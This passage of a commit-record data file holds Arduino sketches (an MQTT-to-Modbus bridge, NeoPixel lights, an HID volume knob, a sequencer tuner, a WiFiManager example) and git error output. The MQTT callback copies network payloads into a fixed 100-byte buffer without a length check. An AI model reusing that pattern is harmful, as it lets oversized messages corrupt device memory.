timeable;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Tlc59711Test\/Tlc59711Test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8f2ee81a786ea6b05777c3ec7862abfd8c6898b0","subject":"Update mr-cylinder-code.ino","message":"Update mr-cylinder-code.ino","repos":"d008\/MAE224,d008\/MAE224,d008\/MAE224,d008\/MAE224","old_file":"Lab 4 Shells\/mr-cylinder-code.ino","new_file":"Lab 4 Shells\/mr-cylinder-code.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Lab' did not match any file(s) known to git\nerror: pathspec '4' did not match any file(s) known to git\nerror: pathspec 'Shells\/mr-cylinder-code.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"649c43d412af21fde655f9b789c81526fa166b86","subject":"Create mqtt_mega2560_simplemodbusmaster.ino","message":"Create mqtt_mega2560_simplemodbusmaster.ino","repos":"pumanzor\/modbus,pumanzor\/modbus,pumanzor\/modbus","old_file":"ethernet\/mqtt_mega2560_simplemodbusmaster.ino","new_file":"ethernet\/mqtt_mega2560_simplemodbusmaster.ino","new_contents":"#include <SimpleModbusMaster.h>\n\n#include <SPI.h>\n#include <Ethernet.h>\n#include <PubSubClient.h>\n\n#define baud 9600\n#define timeout 1000\n#define polling 1000 \n#define retry_count 10\nunsigned long time;\nchar message_buff[100];\n\nbyte mac[] = { 0xDE, 0xED, 0xBA, 0xFE, 0xFE, 0xED };\nIPAddress ip(192, 168, 30, 90);\nIPAddress netmask(255, 255,255, 0);\nIPAddress gateway(192, 168, 30, 1);\nIPAddress server(190, 97, 168, 236);\n\n\nvoid callback(char* topic, byte* payload, unsigned int length);\n\n\nEthernetClient ethClient;\nPubSubClient client(server,1883,callback,ethClient);\n\n\n\n\/\/ used to toggle the receive\/transmit pin on the driver\n#define TxEnablePin 2 \n\n#define LED 9\nlong randNumber; \n\/\/ The total amount of available memory on the master to store data\n#define TOTAL_NO_OF_REGISTERS 1\n\n\/\/ This is the easiest way to create new packets\n\/\/ Add as many as you want. TOTAL_NO_OF_PACKETS\n\/\/ is automatically updated.\nenum\n{\n PACKET1,\n PACKET2,\n TOTAL_NO_OF_PACKETS \/\/ leave this last entry\n};\n\n\/\/ Create an array of Packets to be configured\nPacket packets[TOTAL_NO_OF_PACKETS];\n\n\/\/ Masters register array\nunsigned int regs[TOTAL_NO_OF_REGISTERS];\n\nvoid setup()\n{\n Serial.begin(9600);\n \/\/ Initialize each packet\n modbus_construct(&packets[PACKET1], 1, READ_HOLDING_REGISTERS, 0, 1, 0);\n modbus_construct(&packets[PACKET2], 1, PRESET_MULTIPLE_REGISTERS, 1, 1, 0);\n \n \/\/ Initialize the Modbus Finite State Machine\n modbus_configure(&Serial3, baud, SERIAL_8N2, timeout, polling, retry_count, TxEnablePin, packets, TOTAL_NO_OF_PACKETS, regs);\n \n\n\nEthernet.begin(mac, ip);\n if (client.connect(\"arduinoClient\")) {\n client.publish(\"test\/temp2\",\"hello world\");\n client.subscribe(\"test\/temp3\");\n }\n\n\n}\n\n\nvoid callback(char* topic, byte* payload, unsigned int length) {\n\n\n int i = 0;\n for(i=0; i<length; i++) {\n message_buff[i] = payload[i];\n }\n message_buff[i] = '\\0';\n \nString msgString = String(message_buff); \nSerial.println(\"Payload: \" + msgString);\n\n\n \n}\n\n\nvoid loop()\n{\n\n \/\/ randNumber = random(10, 25); \n \/\/modbus_update();\n \n \/\/regs[0] = randNumber;\n \/\/regs[0] = x;\n client.loop();\n String msgString = String(message_buff); \nint z = msgString.toInt();\nmodbus_update(); \nregs[0] = z; \n \n \/\/delay(100);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ethernet\/mqtt_mega2560_simplemodbusmaster.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"cd6d30e07aa59828218f299bfdf7ef9fe9d62d58","subject":"Create turn_left_turn_right.ino","message":"Create turn_left_turn_right.ino","repos":"Electroscholars\/LineFollower","old_file":"NewLineFollower\/turn_left_turn_right.ino","new_file":"NewLineFollower\/turn_left_turn_right.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Electroscholars\/LineFollower.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"5565c3ed1d4c28c14104667ec6b57ebea1278525","subject":"Update ProbeCube_pc_v099b0224.ino","message":"Update ProbeCube_pc_v099b0224.ino","repos":"Lafudoci\/ProbeCube","old_file":"Particle Photon based\/code\/ProbeCube_pc_v099b0224.ino","new_file":"Particle Photon based\/code\/ProbeCube_pc_v099b0224.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Particle' did not match any file(s) known to git\nerror: pathspec 'Photon' did not match any file(s) known to git\nerror: pathspec 'based\/code\/ProbeCube_pc_v099b0224.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3b8474261413a0e6587c4d8fa774c6be4b9f0673","subject":"agregados comentarios en codigo arduino","message":"agregados comentarios en codigo arduino\n","repos":"xaguzman\/iotcampusparty,xaguzman\/iotcampusparty","old_file":"Arduino Light Control\/IoTDimmer.ino","new_file":"Arduino Light Control\/IoTDimmer.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'Light' did not match any file(s) known to git\nerror: pathspec 'Control\/IoTDimmer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6cfeb0a0e39ff9a25742022d3eccdc984c6255bf","subject":"Create lights.ino","message":"Create lights.ino","repos":"miikama\/pajakurssi","old_file":"lights.ino","new_file":"lights.ino","new_contents":"\n#include <Adafruit_NeoPixel.h>\n#ifdef __AVR__\n #include <avr\/power.h>\n#endif\n\n#define PIN 6\n\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(8, PIN, NEO_GRB + NEO_KHZ800);\n\n int array[2][8][3] = {\n {{124, 109, 39},{124, 109, 39},{124, 109, 39},{124, 109, 39},{124, 109, 39},{124, 109, 39},{124, 109, 39},{124, 109, 39}},\n {{45, 83, 199}, {45, 83, 199}, {45, 83, 199}, {45, 83, 199}, {45, 83, 199}, {45, 83, 199}, {45, 83, 199}, {45, 83, 199}}\n };\n\nvoid setup() {\n\n strip.begin();\n strip.show(); \/\/ Initialize all pixels to 'off'\n}\n\nvoid loop() {\n fromArray(5000); \/\/ K\u00e4y l\u00e4pi yll\u00e4 annettua arrayt\u00e4 ja vaihtaa valoja siin\u00e4 annettujen pikselien mukaisesti. \n \/\/ Parametrin\u00e4 aika, joka odetataan v\u00e4rien vaihdon v\u00e4lill\u00e4. \n}\n\nvoid fromArray(uint8_t wait){\n for(int i=0; i<2; i++){\n for (int j=0; j<8; j++){\n strip.setPixelColor(j, strip.Color(array[i][j][0],array[i][j][1],array[i][j][2]));\n }\n strip.show();\n delay(wait);\n } \n} \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'lights.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"60f19bdec9be1c40409aec267044a20c50babbdc","subject":"First draft of HIDVolumeKnobV2 : A volume knob with 128*64 OLED display","message":"First draft of HIDVolumeKnobV2 : A volume knob with 128*64 OLED display\n","repos":"ThomArmax\/MediaKeyboard,ThomArmax\/MediaKeyboard,ThomArmax\/MediaKeyboard","old_file":"HIDVolumeKnobV2\/HIDVolumeKnobV2.ino","new_file":"HIDVolumeKnobV2\/HIDVolumeKnobV2.ino","new_contents":"#include \"HID-Project.h\"\n\n#include <SPI.h>\n#include <Wire.h>\n#include <Adafruit_GFX.h>\n#include <Adafruit_SSD1306.h>\n\n#define OLED_RESET 4\nAdafruit_SSD1306 display(OLED_RESET);\n\nstatic const unsigned int encoder0PinA = 0;\nstatic const unsigned int encoder0PinB = 1;\nstatic const unsigned int encoderButton = 7;\n\nvolatile unsigned int encoder0Pos = 0; \/**< @brief Rotary encore position *\/\nvolatile unsigned int key = 0; \/**< @brief Key code to be sent *\/\nvolatile bool keySent = false; \/**< @brief Key send state *\/\n\n\/\/ Debounce parameters (expressed in ms)\nunsigned long lastDebounceTime = 0; \/**< @brief The last time rotary encoder switch button was toggled *\/\nunsigned long debounceDelay = 250; \/**< @brief The debounce time *\/\n\n\/\/ Forward declarations\nvoid doEncoder_Expanded();\nvoid doEncoder();\nvoid doClick();\n\n#if (SSD1306_LCDHEIGHT != 32)\n#error(\"Height incorrect, please fix Adafruit_SSD1306.h!\");\n#endif\n\nvoid setup() {\n Consumer.begin();\n\n \/\/ Encoder configuration\n pinMode(encoder0PinA, INPUT);\n digitalWrite(encoder0PinA, HIGH);\n pinMode(encoder0PinB, INPUT);\n digitalWrite(encoder0PinB, HIGH);\n\n \/\/ Encoder push button configuration\n pinMode(encoderButton, INPUT);\n digitalWrite(encoderButton, HIGH);\n\n \/\/ Interrupts configuration\n attachInterrupt(2, doEncoder, CHANGE);\n attachInterrupt(digitalPinToInterrupt(encoderButton), doClick, FALLING);\n\n Serial.begin(9600);\n\n \/\/ by default, we'll generate the high voltage from the 3.3v line internally! (neat!)\n display.begin(SSD1306_SWITCHCAPVCC, 0x3C); \/\/ initialize with the I2C addr 0x3C (for the 128x32)\n\n \/\/ Clear the buffer.\n display.clearDisplay();\n \/\/ text display tests\n display.setTextSize(1);\n display.setTextColor(WHITE);\n display.setCursor(0,0);\n display.println(\"HID Volume Knob V2\");\n display.setCursor(0, 10);\n display.println(\"V 0.1\");\n display.display();\n\n delay(2000);\n}\n\n\nvoid loop() {\n\n \/\/ Clear the buffer.\n display.clearDisplay();\n display.display();\n\n if (!keySent) {\n Consumer.write(key);\n keySent = true;\n\n if (key == MEDIA_PLAY_PAUSE) {\n display.setCursor(10, 10);\n display.println(\"PLAY\/PAUSE\");\n display.display();\n }\n else if (key == MEDIA_VOLUME_UP) {\n display.setCursor(10, 10);\n display.println(\"VOLUME UP\");\n display.display();\n }\n else if (key == MEDIA_VOLUME_DOWN) {\n display.setCursor(10, 10);\n display.println(\"VOLUME DOWN\");\n display.display();\n }\n }\n delay(50);\n}\n\n\/**\n * @brief Rotary encoder push button interrupt handler\n *\/\nvoid doClick()\n{\n unsigned long currentTime = millis();\n if ((currentTime - lastDebounceTime) > debounceDelay) {\n key = MEDIA_PLAY_PAUSE;\n lastDebounceTime = millis();\n keySent = false;\n }\n}\n\n\/**\n * @brief Rotary encoder interrupt handler\n *\/\nvoid doEncoder()\n{\n \/* If pinA and pinB are both high or both low, it is spinning\n * forward. If they're different, it's going backward.\n *\n * For more information on speeding up this process, see\n * [Reference\/PortManipulation], specifically the PIND register.\n *\/\n if (digitalRead(encoder0PinA) == digitalRead(encoder0PinB)) {\n encoder0Pos++;\n key = MEDIA_VOLUME_UP;\n }\n else {\n encoder0Pos--;\n key = MEDIA_VOLUME_DOWN;\n }\n keySent = false;\n}\n\n\/**\n * @brief Rotary encoder interrupt handler\n *\/\nvoid doEncoder_Expanded()\n{\n if (digitalRead(encoder0PinA) == HIGH) { \/\/ found a low-to-high on channel A\n if (digitalRead(encoder0PinB) == LOW) { \/\/ check channel B to see which way\n encoder0Pos = encoder0Pos - 1; \/\/ CCW\n key = MEDIA_VOLUME_DOWN;\n }\n else {\n encoder0Pos = encoder0Pos + 1; \/\/ CW\n key = MEDIA_VOLUME_UP;\n }\n }\n else { \/\/ found a high-to-low on channel A\n if (digitalRead(encoder0PinB) == LOW) { \/\/ check channel B to see which way\n encoder0Pos = encoder0Pos + 1; \/\/ CW\n key = MEDIA_VOLUME_UP;\n }\n else {\n encoder0Pos = encoder0Pos - 1; \/\/ CCW\n key = MEDIA_VOLUME_DOWN;\n }\n }\n\n keySent = false;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'HIDVolumeKnobV2\/HIDVolumeKnobV2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c4781ff50a3bad52e138a6e4ab1fe6ee3e2bd092","subject":"Add tuner app","message":"Add tuner app\n","repos":"aarcro\/arduino-cvseq","old_file":"examples\/cvseq_tuner\/cvseq_tuner.ino","new_file":"examples\/cvseq_tuner\/cvseq_tuner.ino","new_contents":"#include <CvSeq.h>\n#include <werkstatt.h>\n\n#define LED_PIN 13\n#define OUT_PIN_1 6\n#define OUT_PIN_2 5\n#define TEMPO_PIN 2\n\n\/*\n For Tuning werkstatt EXP in. Tempo driven.\n Raw voltage reads pots, encoded plays sequence defined below\n*\/\n\narpeggiator arpeggiator(OUT_PIN_1); \/\/initiate and name the arpeggiator class (Output pin)\n\nCvSeq seq(\n 2, \/\/ int top_active\n 3, \/\/ int bot_active\n 0, \/\/ int top_in (Analog)\n 1 \/\/ int bot_in (Analog)\n);\n\nint notes[] = {tonic, major3rd, fifth, octave, fifth, major3rd}; \/\/ VCO EXP config\n\/\/ int notes[] = {tonic, octave}; \/\/ VCO EXP config\n\n\n\/\/ note values: w, h, q, qt, e, et, sx, sxt, th, sxf \nint note_values[] = {q, q, q, q, q, q, q, q, q, q, e}; \/\/VCO EXP config\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n pinMode(LED_PIN, OUTPUT);\n pinMode(OUT_PIN_1, OUTPUT);\n pinMode(OUT_PIN_2, OUTPUT);\n\n Serial.begin(9600);\n}\n\nvoid loop() {\n int tempo = map(analogRead(TEMPO_PIN), 0, 1023, 60, 400);\n for (int i = 0; i < ( sizeof(notes)\/sizeof(int) ); i++) {\n \/\/ Just flash the lights\n int note = seq.step();\n\n \/\/ Quant Tempo off Analog input\n \/\/ Sleep in ms.\n \/\/ 60 bpm = 1000ms\n \/\/ 300 bpm = 200ms\n \/\/ 600 bpm = 100ms\n \/\/ 60 to 2400 bpm (exponetial scale)\n arpeggiator.play(tempo, notes[i], note_values[i]); \n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/cvseq_tuner\/cvseq_tuner.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b2816246c3d539d99493e518d3cced8f90ddde7d","subject":"Altera\u00e7\u00e3o Arduino","message":"Altera\u00e7\u00e3o Arduino\n\nServor.motor detach()\n","repos":"Gsirius14\/sirius,Gsirius14\/sirius","old_file":"arduino\/arquivo_unico\/arquivo_unico.ino","new_file":"arduino\/arquivo_unico\/arquivo_unico.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Gsirius14\/sirius.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"3ec67123033a9871d186ffe627742fc7af40b8fc","subject":"Update blink_test.ino","message":"Update blink_test.ino","repos":"pylonman\/simple_gpio_class","old_file":"examples\/blink_test\/blink_test.ino","new_file":"examples\/blink_test\/blink_test.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/pylonman\/simple_gpio_class.git\/'\n","license":"unlicense","lang":"Arduino"} {"commit":"193fdf177c3c52115b6f40027457d8399967d932","subject":"fix example","message":"fix example\n","repos":"tzapu\/WiFiManager,tzapu\/WiFiManager,tzapu\/WiFiManager,tzapu\/WiFiManager,tzapu\/WiFiManager","old_file":"examples\/DEV\/OnDemandConfigPortal\/OnDemandConfigPortal.ino","new_file":"examples\/DEV\/OnDemandConfigPortal\/OnDemandConfigPortal.ino","new_contents":"\/**\n * This is a kind of unit test for DEV for now\n *\/\n#include <WiFiManager.h> \/\/ https:\/\/github.com\/tzapu\/WiFiManager\n\n#define TRIGGER_PIN 0\nconst char* modes[] = { \"NULL\", \"STA\", \"AP\", \"STA+AP\" };\n\nWiFiManager wm;\n\nchar ssid[] = \"*************\"; \/\/ your network SSID (name)\nchar pass[] = \"********\"; \/\/ your network password\n\nvoid debugchipid(){\n \/\/ WiFi.mode(WIFI_STA);\n \/\/ WiFi.printDiag(Serial);\n \/\/ Serial.println(modes[WiFi.getMode()]);\n \n \/\/ ESP.eraseConfig();\n \/\/ wm.resetSettings();\n \/\/ wm.erase(true);\n WiFi.mode(WIFI_AP);\n \/\/ WiFi.softAP();\n WiFi.enableAP(true);\n delay(500);\n \/\/ esp_wifi_start();\n delay(1000);\n WiFi.printDiag(Serial);\n delay(60000);\n ESP.restart();\n\n \/\/ AP esp_267751\n \/\/ 507726A4AE30\n \/\/ ESP32 Chip ID = 507726A4AE30\n}\n\nvoid saveCallback(){\n Serial.println(\"saveCallback fired\");\n}\n\n\n\/\/gets called when WiFiManager enters configuration mode\nvoid configModeCallback (WiFiManager *myWiFiManager) {\n Serial.println(\"configModeCallback fired\");\n \/\/ myWiFiManager->setAPStaticIPConfig(IPAddress(10,0,1,1), IPAddress(10,0,1,1), IPAddress(255,255,255,0)); \n \/\/ Serial.println(WiFi.softAPIP());\n \/\/if you used auto generated SSID, print it\n \/\/ Serial.println(myWiFiManager->getConfigPortalSSID());\n}\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(115200);\n Serial.setDebugOutput(true); \n \/\/ delay(3000);\n Serial.println(\"\\n Starting\");\n \/\/ WiFi.setSleepMode(WIFI_NONE_SLEEP);\n \n \/\/WiFiManager\n \/\/Local intialization. Once its business is done, there is no need to keep it around\n \/\/ WiFiManager wm;\n\n wm.debugPlatformInfo();\n\n \/\/Local intialization. Once its business is done, there is no need to keep it around\n \/\/reset settings - for testing\n \/\/ wm.resetSettings();\n \/\/ wm.erase();\n \n wm.setClass(\"invert\");\n wm.setAPCallback(configModeCallback);\n\n \/\/sets timeout until configuration portal gets turned off\n \/\/useful to make it all retry or go to sleep\n \/\/in seconds\n \/\/ wm.setConfigPortalTimeout(600);\n \/\/ wm.setConnectTimeout(5);\n \/\/ wm.setShowStaticFields(true);\n\n \/\/ uint8_t menu[] = {wm.MENU_WIFI,wm.MENU_INFO,wm.MENU_PARAM,wm.MENU_CLOSE};\n \/\/ wm.setMenu(menu);\n\n \/\/ std::vector<WiFiManager::menu_page_t> menu = {wm.MENU_WIFI,wm.MENU_INFO,wm.MENU_PARAM,wm.MENU_CLOSE,wm.MENU_SEP,wm.MENU_ERASE,wm.MENU_EXIT};\n \/\/ wm.setMenu(menu);\n\n\/\/ std::vector<WiFiManager::menu_page_t> menu = {wm.MENU_WIFI,wm.MENU_INFO,wm.MENU_PARAM,wm.MENU_CLOSE,wm.MENU_SEP,wm.MENU_ERASE,wm.MENU_EXIT};\n \/\/ wm.setMenu(menu);\n\n\n WiFiManagerParameter custom_html(\"<p>This Is Custom HTML<\/p>\");\n WiFiManagerParameter custom_mqtt_server(\"server\", \"mqtt server\", \"\", 40);\n WiFiManagerParameter custom_mqtt_port(\"port\", \"mqtt port\", \"\", 6);\n WiFiManagerParameter custom_token(\"api_token\", \"api token\", \"\", 16);\n WiFiManagerParameter custom_tokenb(\"invalid token\", \"invalid token\", \"\", 0); \/\/ id is invalid, cannot contain spaces\n WiFiManagerParameter custom_ipaddress(\"input_ip\", \"input IP\", \"\", 15,\"pattern='\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}'\");\n\n \/\/ callbacks\n wm.setSaveConfigCallback(saveCallback);\n\n \/\/add all your parameters here\n wm.addParameter(&custom_html);\n wm.addParameter(&custom_mqtt_server);\n wm.addParameter(&custom_mqtt_port);\n wm.addParameter(&custom_token);\n wm.addParameter(&custom_tokenb);\n wm.addParameter(&custom_ipaddress);\n\n custom_html.setValue(\"test\",4);\n custom_token.setValue(\"test\",4);\n\n \/\/ MENU_WIFI = 0,\n \/\/ MENU_WIFINOSCAN = 1,\n \/\/ MENU_INFO = 2,\n \/\/ MENU_PARAM = 3,\n \/\/ MENU_CLOSE = 4,\n \/\/ MENU_RESTART = 5,\n \/\/ MENU_EXIT = 6,\n \/\/ MENU_ERASE = 7,\n \/\/ MENU_SEP = 8\n\n \/\/ const char* menu[] = {\"wifi\",\"wifinoscan\",\"info\",\"param\",\"close\",\"sep\",\"erase\",\"restart\",\"exit\"};\n \/\/ wm.setMenu(menu,9);\n\n std::vector<const char *> menu = {\"wifi\",\"wifinoscan\",\"info\",\"param\",\"close\",\"sep\",\"erase\",\"restart\",\"exit\"};\n wm.setMenu(menu);\n \n \/\/ set static sta ip\n \/\/ wm.setSTAStaticIPConfig(IPAddress(10,0,1,99), IPAddress(10,0,1,1), IPAddress(255,255,255,0));\n \/\/ wm.setShowStaticFields(false);\n \/\/ wm.setShowDnsFields(false);\n\n \/\/ set static ip\n \/\/ wm.setAPStaticIPConfig(IPAddress(10,0,1,1), IPAddress(10,0,1,1), IPAddress(255,255,255,0));\n \/\/ wm.setAPStaticIPConfig(IPAddress(10,0,1,99), IPAddress(10,0,1,1), IPAddress(255,255,255,0)); \n\n \/\/ WiFi.mode(WIFI_STA);\n \/\/ const wifi_country_t COUNTRY_US{\"US\",1,11,WIFI_COUNTRY_POLICY_AUTO};\n \/\/ const wifi_country_t COUNTRY_CN{\"CN\",1,13,WIFI_COUNTRY_POLICY_AUTO};\n \/\/ const wifi_country_t COUNTRY_JP{\"JP\",1,14,WIFI_COUNTRY_POLICY_AUTO};\n \/\/ esp_wifi_set_country(&COUNTRY_US);\n\n \/\/ wm.setCountry(\"US\");\n \n wm.setConfigPortalTimeout(120);\n \/\/ wm.startConfigPortal(\"AutoConnectAP\", \"password\");\n\n \/\/fetches ssid and pass and tries to connect\n \/\/if it does not connect it starts an access point with the specified name\n \/\/here \"AutoConnectAP\"\n \/\/and goes into a blocking loop awaiting configuration\n \n if(!wm.autoConnect(\"AutoConnectAP\")) {\n Serial.println(\"failed to connect and hit timeout\");\n }\n else {\n \/\/ start configportal always\n \/\/ wm.setConfigPortalTimeout(60);\n \/\/ wm.startConfigPortal();\n }\n\n pinMode(TRIGGER_PIN, INPUT);\n}\n\nvoid loop() {\n \/\/ is configuration portal requested?\n if ( digitalRead(TRIGGER_PIN) == LOW ) {\n Serial.println(\"BUTTON PRESSED\");\n \/\/WiFiManager\n \/\/Local intialization. Once its business is done, there is no need to keep it around\n \/\/reset settings - for testing\n \/\/wm.resetSettings();\n\n \/\/sets timeout until configuration portal gets turned off\n \/\/useful to make it all retry or go to sleep, in seconds\n wm.setConfigPortalTimeout(120);\n\n \/\/it starts an access point with the specified name\n \/\/here \"AutoConnectAP\"\n \/\/and goes into a blocking loop awaiting configuration\n\n \/\/WITHOUT THIS THE AP DOES NOT SEEM TO WORK PROPERLY WITH SDK 1.5 , update to at least 1.5.1\n \/\/WiFi.mode(WIFI_STA);\n \n \/\/ disable captive portal redirection\n \/\/ wm.setCaptivePortalEnable(false);\n \n if (!wm.startConfigPortal(\"OnDemandAP\")) {\n Serial.println(\"failed to connect and hit timeout\");\n delay(3000);\n } else {\n \/\/if you get here you have connected to the WiFi\n Serial.println(\"connected...yeey :)\");\n } \n }\n\n \/\/ put your main code here, to run repeatedly:\n delay(5000);\n}\n","old_contents":"\/**\n * This is a kind of unit test for DEV for now\n *\/\n#include <WiFiManager.h> \/\/ https:\/\/github.com\/tzapu\/WiFiManager\n\n#define TRIGGER_PIN 0\nconst char* modes[] = { \"NULL\", \"STA\", \"AP\", \"STA+AP\" };\n\nWiFiManager wm;\n\nchar ssid[] = \"*************\"; \/\/ your network SSID (name)\nchar pass[] = \"********\"; \/\/ your network password\n\nvoid debugchipid(){\n \/\/ WiFi.mode(WIFI_STA);\n \/\/ WiFi.printDiag(Serial);\n \/\/ Serial.println(modes[WiFi.getMode()]);\n \n \/\/ ESP.eraseConfig();\n \/\/ wm.resetSettings();\n \/\/ wm.erase(true);\n WiFi.mode(WIFI_AP);\n \/\/ WiFi.softAP();\n WiFi.enableAP(true);\n delay(500);\n \/\/ esp_wifi_start();\n delay(1000);\n WiFi.printDiag(Serial);\n delay(60000);\n ESP.restart();\n\n \/\/ AP esp_267751\n \/\/ 507726A4AE30\n \/\/ ESP32 Chip ID = 507726A4AE30\n}\n\nvoid saveCallback(){\n Serial.println(\"saveCallback fired\");\n}\n\n\n\/\/gets called when WiFiManager enters configuration mode\nvoid configModeCallback (WiFiManager *myWiFiManager) {\n Serial.println(\"configModeCallback fired\");\n \/\/ myWiFiManager->setAPStaticIPConfig(IPAddress(10,0,1,1), IPAddress(10,0,1,1), IPAddress(255,255,255,0)); \n \/\/ Serial.println(WiFi.softAPIP());\n \/\/if you used auto generated SSID, print it\n \/\/ Serial.println(myWiFiManager->getConfigPortalSSID());\n}\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(115200);\n Serial.setDebugOutput(true); \n \/\/ delay(3000);\n Serial.println(\"\\n Starting\");\n \/\/ WiFi.setSleepMode(WIFI_NONE_SLEEP);\n \n \/\/WiFiManager\n \/\/Local intialization. Once its business is done, there is no need to keep it around\n \/\/ WiFiManager wm;\n\n wm.debugPlatformInfo();\n\n \/\/Local intialization. Once its business is done, there is no need to keep it around\n \/\/reset settings - for testing\n \/\/ wm.resetSettings();\n \/\/ wm.erase();\n \n wm.setClass(\"invert\");\n wm.setAPCallback(configModeCallback);\n\n \/\/sets timeout until configuration portal gets turned off\n \/\/useful to make it all retry or go to sleep\n \/\/in seconds\n \/\/ wm.setConfigPortalTimeout(600);\n \/\/ wm.setConnectTimeout(5);\n \/\/ wm.setShowStaticFields(true);\n\n \/\/ uint8_t menu[] = {wm.MENU_WIFI,wm.MENU_INFO,wm.MENU_PARAM,wm.MENU_CLOSE};\n \/\/ wm.setMenu(menu);\n\n \/\/ std::vector<WiFiManager::menu_page_t> menu = {wm.MENU_WIFI,wm.MENU_INFO,wm.MENU_PARAM,wm.MENU_CLOSE,wm.MENU_SEP,wm.MENU_ERASE,wm.MENU_EXIT};\n \/\/ wm.setMenu(menu);\n\n\/\/ std::vector<WiFiManager::menu_page_t> menu = {wm.MENU_WIFI,wm.MENU_INFO,wm.MENU_PARAM,wm.MENU_CLOSE,wm.MENU_SEP,wm.MENU_ERASE,wm.MENU_EXIT};\n \/\/ wm.setMenu(menu);\n\n\n WiFiManagerParameter custom_html(\"<p>This Is Custom HTML<\/p>\");\n WiFiManagerParameter custom_mqtt_server(\"server\", \"mqtt server\", \"\", 40);\n WiFiManagerParameter custom_mqtt_port(\"port\", \"mqtt port\", \"\", 6);\n WiFiManagerParameter custom_token(\"api_token\", \"api token\", \"\", 16);\n WiFiManagerParameter custom_tokenb(\"invalid token\", \"invalid token\", \"\", 0); \/\/ id is invalid, cannot contain spaces\n WiFiManagerParameter custom_ipaddress(\"input_ip\", \"input IP\", \"\", 15,\"pattern='\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}'\");\n\n \/\/ callbacks\n wm.setSaveConfigCallback(saveCallback);\n\n \/\/add all your parameters here\n wm.addParameter(&custom_html);\n wm.addParameter(&custom_mqtt_server);\n wm.addParameter(&custom_mqtt_port);\n wm.addParameter(&custom_token);\n wm.addParameter(&custom_tokenb);\n wm.addParameter(&custom_ipaddress);\n\n custom_html.setValue(\"test\",4);\n custom_token.setValue(\"test\",4);\n\n \/\/ MENU_WIFI = 0,\n \/\/ MENU_WIFINOSCAN = 1,\n \/\/ MENU_INFO = 2,\n \/\/ MENU_PARAM = 3,\n \/\/ MENU_CLOSE = 4,\n \/\/ MENU_RESTART = 5,\n \/\/ MENU_EXIT = 6,\n \/\/ MENU_ERASE = 7,\n \/\/ MENU_SEP = 8\n\n \/\/ const char* menu[] = {\"wifi\",\"wifinoscan\",\"info\",\"param\",\"close\",\"sep\",\"erase\",\"restart\",\"exit\"};\n \/\/ wm.setMenu(menu,9);\n\n std::vector<const char *> menu = {\"wifi\",\"wifinoscan\",\"info\",\"param\",\"close\",\"sep\",\"erase\",\"restart\",\"exit\"};\n wm.setMenu(menu);\n \n \/\/ set static sta ip\n \/\/ wm.setSTAStaticIPConfig(IPAddress(10,0,1,99), IPAddress(10,0,1,1), IPAddress(255,255,255,0));\n \/\/ wm.setShowStaticFields(false);\n \/\/ wm.setShowDnsFields(false);\n\n \/\/ set static ip\n \/\/ wm.setAPStaticIPConfig(IPAddress(10,0,1,1), IPAddress(10,0,1,1), IPAddress(255,255,255,0));\n \/\/ wm.setAPStaticIPConfig(IPAddress(10,0,1,99), IPAddress(10,0,1,1), IPAddress(255,255,255,0)); \n\n \/\/ WiFi.mode(WIFI_STA);\n \/\/ const wifi_country_t COUNTRY_US{\"US\",1,11,WIFI_COUNTRY_POLICY_AUTO};\n \/\/ const wifi_country_t COUNTRY_CN{\"CN\",1,13,WIFI_COUNTRY_POLICY_AUTO};\n \/\/ const wifi_country_t COUNTRY_JP{\"JP\",1,14,WIFI_COUNTRY_POLICY_AUTO};\n \/\/ esp_wifi_set_country(&COUNTRY_US);\n\n \/\/ wm.setCountry(\"US\");\n \n wm.setConfigPortalTimeout(120);\n \/\/ wm.startConfigPortal(\"AutoConnectAP\", \"password\");\n\n \/\/fetches ssid and pass and tries to connect\n \/\/if it does not connect it starts an access point with the specified name\n \/\/here \"AutoConnectAP\"\n \/\/and goes into a blocking loop awaiting configuration\n \n if(!wm.autoConnect(\"AutoConnectAP\")) {\n Serial.println(\"failed to connect and hit timeout\");\n }\n else {\n \/\/ start configportal always\n \/\/ wm.setConfigPortalTimeout(60);\n \/\/ 